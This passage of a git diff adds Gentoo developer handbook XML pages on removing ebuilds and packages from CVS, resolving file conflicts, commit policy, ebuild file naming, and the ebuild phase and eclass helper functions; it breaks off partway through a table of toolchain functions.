+<p>
+When removing an ebuild make sure that no dependencies in Portage are broken
+due to the removal - additionally, your CVS commit message should explain
+clearly why the ebuild is being removed from CVS.
+</p>
+
+<p>
+If you need to remove ebuilds, make sure you do not accidentally remove
+the newest/only stable ebuild for any architecture. If you would like to
+get a newer version marked stable, then please file a bug or ask on IRC.
+</p>
+
+<p>
+You should also not cause an unnecessary downgrade for any "<c>~arch</c>"
+when removing ebuilds - instead, it is best to get the newest version
+marked "<c>~arch</c>" first and then remove redundant versions of the ebuild.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Removing a package</title>
+<body>
+
+<p>
+When removing packages follow these steps:
+</p>
+
+<ol>
+  <li>Make sure that no dependencies in Portage are broken due to the removal</li>
+  <li>Send last rites to gentoo-dev-announce and gentoo-dev</li>
+  <li>Mask the package</li>
+  <li>Wait 30 days (or more)</li>
+  <li>Remove from CVS unless the reason for removal has been fixed</li>
+  <li>Remove package.mask entry</li>
+</ol> 
+
+<p>
+In order to remove a package completely from CVS, delete any files from the
+directory and commit this, CVS will take care of removing empty directories
+itself.
+</p>
+
+<pre caption="Removing a package from CVS"><comment>#</comment> <keyword>cd</keyword> app-admin
+<comment>#</comment> <keyword>cvs</keyword> rm -Rf scotty
+<comment>#</comment> <keyword>cvs</keyword> ci -m "app-admin/scotty removal (pending 21st July 2006), see #77501 for reference." scotty</pre>
+
+</body>
+</section>
+
+<section>
+<title>Conflicting files</title>
+<body>
+
+<p>
+When you encounter a package that is trying to install files that are
+already provided by another package (detectable with
+<c>FEATURES=collision-protect</c> for example) you have to fix this
+situation before you can commit the ebuild or, if you encounter this
+with an existing package, file a bug about that package (see below for
+a few exceptions). The reason file conflicts are critical is because
+if "foo" provides the file <path>/usr/bin/example</path> and "bar" is
+going to overwrite it, and later "bar" is unmerged, Portage will remove
+<path>/usr/bin/example</path> and it is therefore likely it will break
+"foo".
+</p>
+
+<p>
+The most obvious fix is to add a blocking dependency to both packages
+that want to install that file, so they can't be installed at the same
+time. But unless there are also other reasons for those packages to
+block each other you should avoid this if possible and rather fix the
+package, which could include one or more of the following steps:
+</p>
+
+<ul>
+  <li>Make "foo" (R)DEPEND on "bar" and not install the conflicting 
+  file.</li>
+  <li>Remove conflicting files from "foo" in <c>src_install</c>
+  or <c>pkg_preinst</c>.</li>
+  <li>Move conflicting files into a new subpackage and make "foo" and
+  "bar" both (R)DEPEND on that package.</li>
+  <li>Change the location where "foo" or "bar" installs conflicting
+  files.</li>
+</ul>
+
+<p>
+In some cases conflicting files can't be really fixed or aren't
+critical, currently known exceptions are Perl module manpages
+(overwriting the ones from Perl itself) and <c>CONFIG_PROTECT</c>'ed
+files (which should still be fixed, but aren't critical as Portage
+won't overwrite them).
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-guide-ebuild.xml b/xml/htdocs/proj/en/devrel/handbook/hb-guide-ebuild.xml
new file mode 100644
index 00000000..a20d9bbe
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-guide-ebuild.xml
@@ -0,0 +1,2033 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- This document was last synched to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/gentoo-howto.xml :: R1.50.
+-->
+
+<sections>
+<version>1.0.5</version>
+<date>2010-07-11</date>
+
+<section>
+<title>The Portage tree</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+The Portage tree is typically found at <path>/usr/portage</path> and is 
+organized in a hierarchical structure consisting of category directories, 
+followed by specific package directories.  Here's an example; you can find
+the <path>util-linux-2.11y.ebuild</path> file in the 
+<path>/usr/portage/sys-apps/util-linux</path> directory.  There may be 
+several other versions of <c>util-linux</c> ebuilds alongside 
+<path>util-linux-2.11y.ebuild</path>.  This is because <e>all ebuilds for 
+a particular package (regardless of version)</e>, share the same 
+<path>mycat/mypkg</path> directory in <path>/usr/portage</path>,
+unless you have portage overlays installed.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Checking Out the Portage Tree from CVS</title>
+<body>
+
+<p>
+If you are unfamiliar with the CVS system, please read the
+<uri link="http://www.gentoo.org/doc/en/cvs-tutorial.xml">CVS Tutorial</uri>
+for more information.
+</p>
+
+<p>
+The Portage tree can be found in the <c>gentoo-x86</c> module of the 
+Gentoo Linux tree.  To check out the module (about 350 megabytes) you 
+would first set up CVS via the above guide, then check out the 
+<c>gentoo-x86</c> module.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>What (not) to put in the Portage tree</title>
+<body>
+
+<p>
+Before writing a new ebuild, check 
+<uri link="http://bugs.gentoo.org/">bugs.gentoo.org</uri> 
+to see if an ebuild has already been written for the package, but has not yet 
+been added to the Portage tree.  Go to <uri 
+link="http://bugs.gentoo.org/">bugs.gentoo.org</uri>, choose query and select 
+Advanced Search; as product select <e>Gentoo Linux</e>, as component select 
+<e>ebuilds</e>.  In the search field put the name of the ebuild and as status 
+select NEW, ASSIGNED, REOPENED and RESOLVED (RESOLVED is important), then 
+submit the query.  For you lazy people, click <uri 
+link="http://bugs.gentoo.org/query.cgi?product=Gentoo%20Linux&amp;component=Ebuilds&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=RESOLVED">here</uri>.
+</p>
+
+<p>
+In general, the Portage tree should only be used for storing 
+<path>.ebuild</path> files, as well as any relatively small companion
+files, such as patches or sample configuration files.  These types of
+files should be placed in the <path>/usr/portage/mycat/mypkg/files</path>
+directory to keep the main <path>mycat/mypkg</path> directory uncluttered.
+Exceptions to this rule are for larger patch files (we recommend this for patches
+above 20KB) which should be put onto the Gentoo mirrors so that people
+do not waste excessive amounts of bandwidth and hard drive
+space. Also, you should not add binary (non-ASCII) files to the
+Portage CVS tree. If you need to do this in another CVS tree, for
+example, if you need to add a small PNG graphic for whatever reason,
+be sure to add it to CVS by using the <c>-kb</c> option, like so:
+</p>
+
+<pre caption="Adding binary files to CVS">
+# <i>cvs add -kb myphoto.png</i>
+</pre>
+
+<p>
+The <c>-kb</c> option tells CVS that <path>myphoto.png</path> is a binary
+file and should be treated specially.  For example, merging the 
+differences between two different versions of this file should not be 
+allowed to happen, for obvious reasons.  Also, speaking of merging 
+changes, any patches you add to Portage should generally <e>not</e> be 
+compressed.  This will allow CVS to merge changes and correctly inform 
+developers of conflicts.
+</p>
+
+<p>
+Remember, the packages that you commit must be <e>ready</e> <e>out of the 
+box</e> for end users when committed as stable.  Make sure that you have a good 
+set of default settings that will satisfy the majority of systems and 
+users that will use your package.  If your package is broken, and you are 
+not sure how to get it to work, check some other distributions that have 
+done their own versions of the package.  You can check 
+<uri link="http://cvs.mandriva.com/cgi-bin/viewvc.cgi/SPECS/">Mandriva</uri>
+or <uri link="http://www.debian.org/distrib/packages">Debian</uri> or 
+<uri link="http://cvs.fedora.redhat.com/">Fedora</uri> for some 
+examples.
+</p>
+
+<p>
+When committing to CVS, all developers should use <c>repoman commit</c> 
+instead of <c>cvs commit</c> to submit their ebuilds.  Before committing, 
+please run <c>repoman full</c> to make sure you didn't forget something.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>CVS Commit Policy</title>
+<body>
+
+<ul>
+<li>Always run <c>repoman scan</c> before you commit.</li>
+<li>Please run <c>repoman full</c> before you commit.</li>
+<li>Always test that <path>package.mask</path> is okay by doing 
+<c>emerge --pretend mypkg</c> before you commit and check 
+that it doesn't contain any conflicts.</li>
+<li>Always update the <path>ChangeLog</path> before you commit.</li>
+<li>Always commit the updated <path>package.mask</path> before 
+the updated package, in case conflicts occur while you commit 
+<path>package.mask</path>.</li>
+<li>Always do atomic commits; if you commit a package with a new license, 
+or that is masked, then first commit the revised <path>package.mask</path> and/or license, 
+then commit the ebuild, <path>ChangeLog</path>, patches
+and <uri link="?part=2&amp;chap=4">metadata.xml</uri> all in <b>one</b> go
+to avoid breaking users' installations.</li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>The files Directory</title>
+<body>
+
+<p>
+As noted earlier, under each package subdirectory is
+a <path>files/</path> directory. Any patches, configuration files, or
+other ancillary files your package might require should be added to
+this directory; any files bigger than 20KB-or-so should go to the
+mirrors to lower the amount of (unneeded) files our users have to
+download. You may want to consider naming patches you create yourself
+just to get your package to build with a version-specific name, such
+as <path>mypkg-1.0-gentoo.diff</path>, or more
+simply, <path>1.0-gentoo.diff</path>.  Also note that the
+<path>gentoo</path> extension informs people that this patch was created 
+by us, the Gentoo Linux developers, rather than having been grabbed from a 
+mailing list or somewhere else. Again, you should not compress these 
+patches because CVS does not play well with binary files.
+</p>
+
+<p>
+Consider prefixing or suffixing (such as <path>mypkg-1.0</path>) every file 
+you put into the <path>files/</path> directory, so that the files used for 
+each individual version on an ebuild are distinguishable from one another, and 
+so that the changes between different revisions are visible.  This is generally 
+a really good idea :).  You may want to use a different suffix if you wish to 
+convey more meaning with the patch name.
+</p>
+
+<p>
+If you have many files that should go into the <path>files/</path> directory, 
+consider creating subdirectories such as <path>files/1.0/</path> and putting the
+relevant files in the appropriate subdirectory.  If you use this method, 
+you do not need to add version information to the names of the files, 
+which is often more convenient.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ebuild scripts</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+Ebuild scripts are the basis for the entire portage system.  They contain 
+all the information required to download, unpack, compile and install a 
+set of sources, as well as how to perform any optional pre/post 
+install/removal or configuration steps.  While most of Portage is 
+written in Python, the ebuild scripts themselves are written in bash, 
+since using bash allows us to call commands as we would from the 
+command-line.  One of the important design principles behind ebuild scripts 
+is to have the commands therein be analogs of those one would type on the 
+command-line if installing the package manually.  For this purpose, using 
+bash syntax is a very good thing.
+</p>
+
+<p>
+Ebuild scripts are interpreted by the <c>ebuild</c> and <c>emerge</c> 
+commands.  Think of the <c>ebuild</c> command as a low-level building 
+tool.  It can build and install a single ebuild, but no more.  It will 
+check to see if dependencies are satisfied, but it will not attempt to 
+auto-resolve them.  On the other hand <c>emerge</c> is a high level engine 
+for <c>ebuild</c>, and has the ability to auto-merge dependencies if 
+needed, perform <e>pretend</e> merges so that user can see what ebuilds 
+would be merged, and more.  Generally, <c>emerge</c> blows 
+<c>ebuild</c> out of the water except in one area.  With <c>ebuild</c>, 
+you can incrementally step through the various parts of a package 
+emerge (fetching, unpacking, compiling, installing and merging) one at a 
+time.  For developers, this is an invaluable debugging tool, because it 
+allows you to isolate ebuild problems to a specific portion of the ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Naming ebuild files</title>
+<body>
+
+<p>Ebuild file names consist of four logical subsections:</p>
+
+<p><c>pkg-ver{_suf{#}}{-r#}.ebuild</c></p>
+
+<note>The brackets (<c>{}</c>) delineate optional fields and do not appear in
+the literal package name. <c>#</c> represents any non-zero positive
+integer.</note>
+
+<p>
+The first subsection, <c>pkg</c>, is the package name, which should
+only contain lowercase letters, the digits 0-9, and any number of
+single hyphen (<c>-</c>), underscore (<c>_</c>) or plus (<c>+</c>)
+characters. Examples: <c>util-linux</c>,
+<c>sysklogd</c> and <c>gtk+</c>. We have some packages in Portage that 
+don't follow these rules, but <e>your</e> packages should.
+</p>
+
+<p>
+The second subsection, <c>ver</c>, is the version of the package,
+which should normally be same as the version on the main source
+tarball. The version is normally made up of two or three (or more)
+numbers separated by periods, such as <c>1.2</c> or <c>4.5.2</c>, and
+may have a single letter immediately following the last digit;
+e.g., <c>1.4b</c> or <c>2.6h</c>. The package version is joined to the
+package name with a hyphen. For example:
+<c>foo-1.0</c>, <c>bar-2.4.6</c>.
+</p>
+
+<impo>
+If you're thinking of using a trailing letter in your version string, note 
+that the trailing letter should <e>not</e> be used to signify alpha or beta 
+status for the package, since alphas and betas are <e>prereleases</e> and 
+letter revisions are <e>newer versions</e>.  This is an important 
+distinction because Portage uses an ebuild's version number to determine 
+if it is newer or older than other packages with the same category and 
+name.  It's very important that version numbers faithfully represent the 
+version of the package so that Portage properly performs its dependency 
+checking duties.
+</impo>
+
+<p>
+The third subsection, <c>{_suf{#}}</c>, is optional and may contain one of 
+these predefined suffixes, listed in least-recent to most-recent order:
+</p>
+
+<table>
+ <tr><th>Suffix</th><th>Meaning</th></tr>
+ <tr><ti><c>_alpha</c></ti><ti>Alpha release</ti></tr>
+ <tr><ti><c>_beta</c></ti><ti>Beta release</ti></tr>
+ <tr><ti><c>_pre</c></ti><ti>Prerelease</ti></tr>
+ <tr><ti><c>_rc</c></ti><ti>Release candidate</ti></tr>
+ <tr><ti>(none)</ti><ti>Normal release</ti></tr>
+ <tr><ti><c>_p</c></ti><ti>Patch level (normally accompanied by trailing integer)</ti></tr>
+</table>
+
+<p> 
+Any of these suffixes may be immediately followed by a non-zero positive
+integer, e.g., <c>linux-2.4.0_pre10</c>. Assuming identical version parts, the
+suffixes are ordered as follows (lower means older): <c>_alpha</c> &lt;
+<c>_beta</c> &lt; <c>_pre</c> &lt; <c>_rc</c> &lt; (no suffix) &lt;
+<c>_p</c>.
+</p>
+       
+<p>
+When comparing identical suffixes with trailing integers, the one with the
+larger integer will be considered most recent. Example: <c>foo-1.0_alpha4</c>
+is more recent than <c>foo-1.0_alpha3</c>.
+</p>
+
+<p>
+The fourth subsection of the package name is the Gentoo Linux-specific revision
+number (<c>{-r#}</c>). This subsection, like the suffix, is also optional.
+<c>#</c> is a non-zero positive integer; e.g.,  <c>package-4.5.3-r3</c>. 
+</p>
+
+<p>
+This revision number is independent of the version of the source tarball and
+is used to inform people that a new and improved Gentoo Linux revision of a
+particular package is available. Initial releases of ebuilds must have no
+revision number; e.g., <c>package-4.5.3</c> and are considered by 
+Portage to have a revision number of zero. This means that counting goes 
+as follows: <c>1.0</c> (initial version), <c>1.0-r1</c>, <c>1.0-r2</c>, 
+etc. 
+</p>
+
+<p>
+If you make non-trivial improvements to an existing ebuild file, you 
+should copy the ebuild file to a new file with the revision number 
+incremented by 1. Remember to <e>always</e> make mentions of your changes in
+the <path>ChangeLog</path> when you bump a revision <b>and</b> in
+your CVS commit message; not doing so is against policy.
+</p>
+
+<p>
+... and I suppose that we actually have a <e>fifth</e> section of the 
+ebuild name as well -- the <c>.ebuild</c> extension itself.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Contents of an ebuild file</title>
+<body>
+
+<p>
+This section is an introduction to ebuilds.  For the full listing of everything 
+possible in an ebuild, there is a manpage which talks about the internal 
+format, variables, and functions in an ebuild script: <c>man 5 ebuild</c>.
+</p>
+
+<p><b>Headers</b></p>
+
+<p>
+When you submit your ebuilds, the header should be <e>exactly</e> the same as
+the one in <path>/usr/portage/header.txt</path>. Most importantly, do not
+modify it in any way and make sure that the <c>&#36;Header: &#36;</c> line is
+intact.
+</p>
+
+<p>
+The first three lines should look something like this:
+</p>
+
+<pre caption="Valid Header">
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Header: &#36;
+</pre>
+
+<p><b>Variables</b></p>
+
+<p>
+The first part of every ebuild file is made up of a number of variables.
+See the <uri link="http://devmanual.gentoo.org/ebuild-writing/variables/index.html">
+devmanual</uri> for information on the different variables.
+</p>
+
+<p><b>Functions</b></p>
+
+<p>
+There are a number of different functions that you can define in ebuild 
+files that control the building and installation process of your package.
+</p>
+
+<table>
+<tr>
+  <th>Function</th>
+  <th>Purpose</th>
+</tr>
+<tr>
+  <ti><c>pkg_setup</c></ti>
+  <ti>
+    Use this function to perform any miscellaneous prerequisite
+    tasks. This might include checking for an existing configuration
+    file.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_nofetch</c></ti>
+  <ti>
+    Inform the user about required actions if for some reason (such as 
+    licensing issues) the sources may not be downloaded by Portage 
+    automatically.  Use this in conjunction with 
+    <c>RESTRICT="fetch"</c>.  
+    You only should display messages in this function, never call <c>die</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_unpack</c></ti>
+  <ti>
+    Use this function to unpack your sources, apply patches, and run 
+    auxiliary programs such as the autotools.  By default, this function 
+    unpacks the packages listed in <c>A</c>.  The initial working directory is 
+    defined by <c>WORKDIR</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_compile</c></ti>
+  <ti>
+    Use this function to configure and build the package.  The initial working 
+    directory is <c>S</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_install</c></ti>
+  <ti>
+    Use this function to install the package to an image in <c>D</c>.  If 
+    your package uses automake, you can do this simply with 
+    <c>emake DESTDIR="${D}" install</c>.  <e>Make sure your package installs all 
+    its files using <c>D</c> as the root!</e>  The initial working directory is
+    <c>S</c>. 
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_test</c></ti>
+  <ti>
+    Executed only when <c>FEATURES="test"</c> is set
+    and <c>RESTRICT="test"</c> is unset, the default of this
+    function executes an available testing function from any Makefiles
+    in the <c>${S}</c> directory, running either "make test" or "make
+    check" depending on what is provided. It can be overriden to
+    create a custom test setup.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_preinst</c></ti>
+  <ti>
+    The commands in this function are run just <e>prior to merging</e> a 
+    package image into the file system.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_postinst</c></ti>
+  <ti>
+    The commands in this function are run just <e>following merging</e> a 
+    package image into the file system.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_prerm</c></ti>
+  <ti>
+    The commands in this function are run just <e>prior to unmerging</e> a 
+    package image from the file system.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_postrm</c></ti>
+  <ti>
+    The commands in this function are run just <e>following unmerging</e> a 
+    package image from the file system.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_config</c></ti>
+  <ti>
+    You use this function to set up an initial configuration for the package 
+    after it's installed.  All paths in this function should be prefixed with 
+    <c>ROOT</c> which points to user-specified install root which may not
+    happen to be <path>/</path>. This function is <e>only</e> executed if and
+    when the user runs: <c>emerge --config =${PF}</c>.
+  </ti>
+</tr>
+</table>
+
+<p><b>Helper Functions</b></p>
+
+<p>
+You can also use the following helper functions in your ebuilds.
+</p>
+
+<table>
+<tr>
+  <th>Function</th>
+  <th>Purpose</th>
+</tr>
+<tr>
+  <ti><c>use</c></ti>
+  <ti>
+    Check if one or more given USE-flags are defined.  If so, the
+    function will return shell true.  In either case, nothing is echoed
+    to standard output.  For a verbose version, please use <c>usev</c> which
+    will echo the USE flag if it is defined.
+  </ti>
+</tr>
+<tr>
+  <ti><c>has_version</c></ti>
+  <ti>
+    Returns 1 if the system has the requested version of a certain package.  
+    For instance <c>has_version >=sys-libs/glibc-2.3.0</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>best_version</c></ti>
+  <ti>
+    Returns <path>category/package-version</path> of the requested 
+    <path>category/package</path>. For instance <c>best_version 
+    x11-libs/gtk+extra</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>use_with</c></ti>
+  <ti>
+    This function checks if a use-flag has been defined and returns 
+    "--with-foobar" or "--without-foobar" accordingly.  If 
+    you only use one argument, that argument is both use-flag and 
+    with(out)-string.  Otherwise the first argument is the use-flag and the 
+    second argument the with(out)-string. For instance <c>use_with truetype 
+    freetype</c> will echo "--with-freetype" if truetype is in 
+    <c>USE</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>use_enable</c></ti>
+  <ti>
+    The same as <c>use_with</c>, but returns "--enable-foobar" or 
+    "--disable-foobar" accordingly.
+  </ti>
+</tr>
+<tr>
+  <ti><c>check_KV</c></ti>
+  <ti>
+    Checks if Portage knows kernel version.  If not, display an error and 
+    die.  If you need the kernel version in your script, use the <c>KV</c> 
+    variable which is automatically defined by Portage.  On a system running 
+    gentoo-sources-2.4.20-r6, <c>KV</c> would have the value "2.4.20".
+  </ti>
+</tr>
+<tr>
+  <ti><c>keepdir</c></ti>
+  <ti>
+    Creates (if necessary) a <path>.keep</path> file in the given directory 
+    so that it isn't auto-cleaned.  <e>Never</e> create a <path>.keep</path> 
+    file yourself.  If portage changes how <c>keepdir</c> works, then creating 
+    the file yourself will break the package.
+  </ti>
+</tr>
+<tr>
+  <ti><c>econf</c></ti>
+  <ti>
+    Issues <c>./configure</c> with the necessary path-changes (prefix, host, 
+    mandir, infodir, datadir, sysconfdir, localstatedir). You can optionally 
+    pass extra arguments to <c>./configure</c> by specifying them when you 
+    call <c>econf</c>, and users can set the environment variable 
+    <c>EXTRA_ECONF</c> if they need to. Options passed to configure
+    take precedence in the reverse order that they were given. In
+    other words, the first argument passed will always be overridden
+    by the last.
+  </ti>
+</tr>
+<tr>
+  <ti><c>einstall</c></ti>
+  <ti>
+    Issues <c>make install</c> with the necessary path-changes (prefix, datadir,
+    mandir, infodir, datadir, sysconfdir, localstatedir).  Again, you can pass 
+    extra arguments to the make command by specifying them when you call 
+    <c>einstall</c>.  Please note that the preferred way to install a package is
+    via the <c>emake install DESTDIR="${D}"</c> command and not via 
+    <c>einstall</c>. This command is only a fall back to override broken make 
+    files.
+  </ti>
+</tr>
+<tr>
+  <ti><c>die</c></ti>
+  <ti>
+    Causes the current process to be aborted.  It will notify the user using 
+    the given arguments as a reason.  Do not neglect to pass a message to 
+    <c>die</c> if you have more than one call to it in a single function.  It 
+    is harder to track down a failure if you're not sure <e>where</e> the 
+    package failed.
+  </ti>
+</tr>
+<tr>
+  <ti><c>elog</c></ti>
+  <ti>
+    Inform the user about something important.  The argument given to
+    <c>elog</c> is the message that the user will see.  Do not use <c>elog</c>
+    to display banners such as "*************************************".  The
+    fact that you're using <c>elog</c> is enough to get the user's attention.
+    The message is also logged using portages ELOG system.
+  </ti>
+</tr>
+<tr>
+  <ti><c>einfo</c></ti>
+  <ti>
+    Display informative but non-important messages that don't need to be logged.
+  </ti>
+</tr>
+</table>
+
+<p><b>Helper Functions provided by eutils.eclass</b></p>
+
+<p>
+You can use the following helper functions that are provided by the
+"eutils" eclass in your ebuilds. You must make sure that <c>inherit
+eutils</c> is present for these functions to work.
+</p>
+
+<table>
+<tr>
+  <th>Function</th>
+  <th>Purpose</th>
+</tr>
+<tr>
+  <ti><c>epatch</c></ti>
+  <ti>
+    This function acts as a friendlier replacement to
+    the <c>patch</c> command and epatch works with .bz2, .gz, .zip
+    and plain text patches. You do not need to specify a "-p" option,
+    any options that do need to be explicitly specified should be set
+    in <c>EPATCH_OPTS</c>. The function expects either a file or a
+    directory as an argument - if you specify a directory, all
+    patches in the form of "??_${ARCH}_..." will be applied: for a
+    patch to be applied, it needs to match the running architecture,
+    have "_all_" in the name, or <c>EPATCH_FORCE</c> must be set to
+    "yes".
+  </ti>
+</tr>
+<tr>
+  <ti><c>gen_usr_ldscript</c></ti>
+  <ti>
+    This function generates linker scripts in /usr/lib for dynamic
+    libraries in /lib. This fixes linking problems when a .so is in
+    /lib while a .a is in /usr/lib.
+  </ti>
+</tr>
+<tr>
+  <ti><c>edos2unix</c></ti>
+  <ti>
+    This function performs the same action as
+    the <c>dos2unix</c> binary.
+  </ti>
+</tr>
+<tr>
+  <ti><c>egetent</c></ti>
+  <ti>
+    egetent acts as a wrapper for <c>getent</c> for Linux
+    or <c>nidump</c> for Mac OS X (R).
+  </ti>
+</tr>
+<tr>
+  <ti><c>enewuser</c></ti>
+  <ti>
+    Creates a new user. This function expects a mandatory argument
+    with the username, and several optional arguments can be
+    specified: <c>$2</c> contains a UID, pass -1 for the next
+    available ID; <c>$3</c> contains the shell, pass -1 for the default;
+    <c>$4</c> contains a home directory with <path>/dev/null</path> being the
+    default, <c>$5</c> contains any groups to which the user should
+    be added, empty by default and <c>$6</c> contains any extra options that 
+    you may wish to pass to useradd.
+  </ti>
+</tr>
+<tr>
+  <ti><c>enewgroup</c></ti>
+  <ti>
+    Adds a new group. This function expects a mandatory argument with
+    the group name - an optional second argument makes the group have
+    a specific GID.
+  </ti>
+</tr>
+<tr>
+  <ti><c>make_desktop_entry</c></ti>
+  <ti>
+    Makes a desktop entry: the first argument contains the path to the
+    binary. Optionally, the second contains a name for the icon - the
+    default is <c>${PN}</c>; the third can contain a path to the icon
+    relative to <path>/usr/share/pixmaps</path> or a full path - the
+    default is <c>${PN}</c>.png; the fourth can contain an
+    <uri link="http://standards.freedesktop.org/menu-spec/latest/apa.html">application
+    category</uri>, and the fifth argument contains an optional application
+    startup path.
+  </ti>
+</tr>
+<tr>
+  <ti><c>check_license</c></ti>
+  <ti>
+    Displays a license for the user to accept, if no arguments are
+    specified then the license specified by <c>${LICENSE}</c> is
+    used.
+  </ti>
+</tr>
+<tr>
+  <ti><c>unpack_pdv</c></ti>
+  <ti>
+    Unpacks a pdv generated archive, the first argument must contain
+    the file to unpack and the second should contain "off_t" which
+    has to be manually generated: <c>strace -elseek ${file}</c> and
+    for something like "lseek(3, -4, SEEK_END)" you would pass the
+    value "4".
+  </ti>
+</tr>
+<tr>
+  <ti><c>unpack_makeself</c></ti>
+  <ti>
+    Unpacks a makeself generated archive, requires a file to unpack
+    as the argument.
+  </ti>
+</tr>
+<tr>
+  <ti><c>cdrom_get_cds</c></ti>
+  <ti>
+    Attempts to get a CD, present with files specified by the
+    arguments present on the system and mounted at <c>${CDROM_ROOT}</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>cdrom_load_next_cd</c></ti>
+  <ti>
+    Loads the next CD once you are done with the first CD. If the
+    function returns, <c>${CDROM_ROOT}</c> would point to the next CD.
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-linguas</c></ti>
+  <ti>
+    This function makes sure that LINGUAS contains only the languages
+    that a package can support specified by the arguments to the
+    function. If the first argument is -i, then a list of .po files
+    in the specified directories is built and the intersection of the
+    lists is used. If the first argument is -u, then a list of .po
+    files in the specified directories is built and the union of the
+    lists is used.
+  </ti>
+</tr>
+</table>
+
+<p><b>Helper Functions provided by flag-o-matic.eclass</b></p>
+
+<p>
+You can use the following helper functions that are provided by the
+"flag-o-matic" eclass in your ebuilds. You must make sure that <c>inherit
+flag-o-matic</c> is present for these functions to work. You should never
+modify any compiler settings directly, instead please use flag-o-matic to
+perform any actions such as filtering flags that cause trouble.
+</p>
+
+<table>
+<tr>
+  <th>Function</th>
+  <th>Purpose</th>
+</tr>
+<tr>
+  <ti><c>filter-flags</c></ti>
+  <ti>
+    This function removes particular flags from <c>C[XX]FLAGS</c> -
+    only complete flags are matched.
+  </ti>
+</tr>
+<tr>
+  <ti><c>append-flags</c></ti>
+  <ti>
+    This function adds extra flags to the existing <c>C[XX]FLAGS</c>
+    variables.
+  </ti>
+</tr>
+<tr>
+  <ti><c>replace-flags</c></ti>
+  <ti>
+    This replaces the flag specified by the first argument with the
+    one in the second argument in the current <c>C[XX]FLAGS</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>replace-cpu-flags</c></ti>
+  <ti>
+    Needs two arguments. Replace a given mtune/march/mcpu value with
+    the new one (maybe like this: replace-cpu-flags 'i686' 'i586' will
+    replace -mtune/-march/-mcpu=i686 with -mtune/-march/-mcpu=i586).
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-flags</c></ti>
+  <ti>
+    Strips all flags, except those specified in <c>ALLOWED_FLAGS</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-unsupported-flags</c></ti>
+  <ti>
+    Strips <c>C[XX]FLAGS</c> of any flags not supported by the running
+    version of GCC.
+  </ti>
+</tr>
+<tr>
+  <ti><c>get-flag</c></ti>
+  <ti>
+    Finds a flag and outputs its value.
+  </ti>
+</tr>
+<tr>
+  <ti><c>is-flag</c></ti>
+  <ti>
+    This returns true if the flag is set in the
+    current <c>C[XX]FLAGS</c>; only complete matches are performed.
+  </ti>
+</tr>
+<tr>
+  <ti><c>append-ldflags</c></ti>
+  <ti>
+    This function adds extra flags to the existing <c>LDFLAGS</c>
+    variable.
+  </ti>
+</tr>
+<tr>
+  <ti><c>filter-ldflags</c></ti>
+  <ti>
+    Removes the specified flags from <c>LDFLAGS</c>, only complete
+    flags are matched.
+  </ti>
+</tr>
+<tr>
+  <ti><c>fstack-flags</c></ti>
+  <ti>
+    Appends -fno-stack-protector which suppresses -fstack-protector
+    and -fstack-protector-all.
+  </ti>
+</tr>
+</table>
+
+<p><b>Helper Functions provided by toolchain-funcs.eclass</b></p>
+
+<p>
+You can use the following helper functions that are provided by the
+"toolchain-funcs" eclass in your ebuilds. You must make sure that <c>inherit
+toolchain-funcs</c> is present for these functions to work. You should never
+explicitly specify any compiler or binutils settings directly, instead please use toolchain-funcs to
+specify compilers and binutils.
+</p>
+<p>
+The purpose of using the below functions is to support cross-compiling and the
+icc compiler. These should be used whenever a package explicitly uses gcc, g++,
+ld, ranlib or any of the below tools. In general packages that use autoconfiguration tools
+detect cross compiling automatically and do not need the following functions.
+</p>
+  <table>
+    <tr>
+      <th>Function</th>
+      <th>Purpose</th>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getAR</c>
+      </ti>
+      <ti>Returns the name of the archiver
+  </ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getAS</c>
+      </ti>
+      <ti>Returns the name of the assembler</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getCC</c>
+      </ti>
+      <ti>Returns the name of the C compiler</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getCXX</c>
+      </ti>
+      <ti>Returns the name of the C++ compiler</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getLD</c>
+      </ti>
+      <ti>Returns the name of the linker</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getNM</c>
+      </ti>
